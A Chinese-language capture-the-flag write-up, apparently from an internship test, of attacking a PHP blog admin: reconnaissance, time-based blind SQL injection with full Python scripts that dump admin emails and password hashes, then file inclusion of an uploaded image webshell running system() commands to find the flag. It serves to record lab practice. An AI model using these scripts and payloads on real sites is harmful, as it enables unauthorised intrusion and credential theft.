打算找暑假实习了，在boss上投，简单交流后收到回复，试了下，记录下思路和过程。
资产收集
拿到靶机，指纹识别
根据题目提示使用dirsearch进行目录简单扫描，部分结果如下：
找到robot.txt
User-agent: * Disallow: /Company_admin/ 访问首页F12查看源码
<!-- author: Ethredah author URL: http://ethredah.github.io --> 找到前端代码作者Ethredah，找到器github链接，https://github.com/Ethredah/
在仓库中发现网站源码 PHP-Blog-Admin ，clone下来进行代码审计对比，
简单审计，发现sql语句几乎没做安全措施，代码逻辑简单明了，回到网站
找到后台地址
http://ip:port/Company_admin/login.php
在网站中搜寻有用信息，
用户password疑似 p3ssw0rd，
4 digits code 疑似 1027
可能存在的邮箱账号
info@example.com
ethredah@gmail.com
admin@example.com
Admin@Companyonline.net
info@Companyonline.net
ethredah@Companyonline.net
手工测试登录，尝试无果
查看博客文章，点击查看详情，观察url
http://url:port/single.php?id=6
id处疑似存在sql注入，尝试：
被拦截，先放着
找网站输入点，footer处可输入邮箱，尝试，被拦截
网站blog留言，contact，尝试，被拦截（这些地方不管输入什么都被拦截）先放着，可能存在xss和二次注入
整理资产
渗透测试
sql注入
抓包网站输入出包分析，发现在输入后请求的时候携带了一个submit参数，自带了一个 +符号（晕），删掉后可进行正常的业务逻辑操作，查看网站源码，进行sql注入测试
FUZZ
如上图，返回长度为324的表示被过滤，还有大部分的诸如select、sleep等可用，有操作空间。审计single.php源码，网站无回显，尝试sql盲注，sleep(3)成功延时，于是构造payload：if(ascii(mid(1,1,1))like(49),sleep(3),1)
写脚本简单爆破：
import requests from time import sleep url = "url:port/single.php?id=" for i in range(1, 100): for j in range(32, 128): # 数据库 # if(ascii(mid((select(database()))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) hstest # 表名 # if(ascii(mid((select(group_concat(table_name,\",\"))from(information_schema.tables) # where((table_schema)like(database())))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) admin,comments...... # 字段名 # if(ascii(mid((select(group_concat(column_name,\",\"))from(information_schema.columns) # where((table_name)like(\"admin\")))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) id,email...... # 字段值爆破 d = "if(ascii(mid((" \ "select(group_concat(email,\",\"))from(admin)" \ ")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)" r = requests.get(url + d) if r.elapsed.total_seconds() > 3: print(chr(j), end='') break 得到email账号如下：
fakeaddr@xxx.com (xxx为打码) 尝试密码爆破
import requests from time import sleep url = "url:port/single.php?id=" for i in range(1, 100): for j in range(32, 128): if 47<j<58 or 96<j<123 d = "if(ascii(mid((" "select(group_concat(password,\",\"))from(admin)" ")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)" r = requests.get(url + d) if r.elapsed.total_seconds() > 3: print(chr(j), end='') break 得到md5 hash后的密码：
752ae077e594f3b7452da97f78xxxxxx
解密后得到 xxxxxxx
登陆后台，使用账号 fakeaddr@xxx.com密码 xxxxxx，4 digits code为1027
成功登录后台
文件包含
在 comments.php处找到文件上传点，尝试各种绕过后无果，随后寻找文件包含点，在 language.php的template参数处找到可包含的点，随后上传图片马，包含phpinfo，执行结果如下：
然后一系列命令执行，最终在 /home/www/flag-stage1-272d3798-cdc0-4f47-9a77-d8916fb84226.txt下得到flag
<?php system("find /home -name '*' | xargs grep 'xxxFlag{'");phpinfo();?> 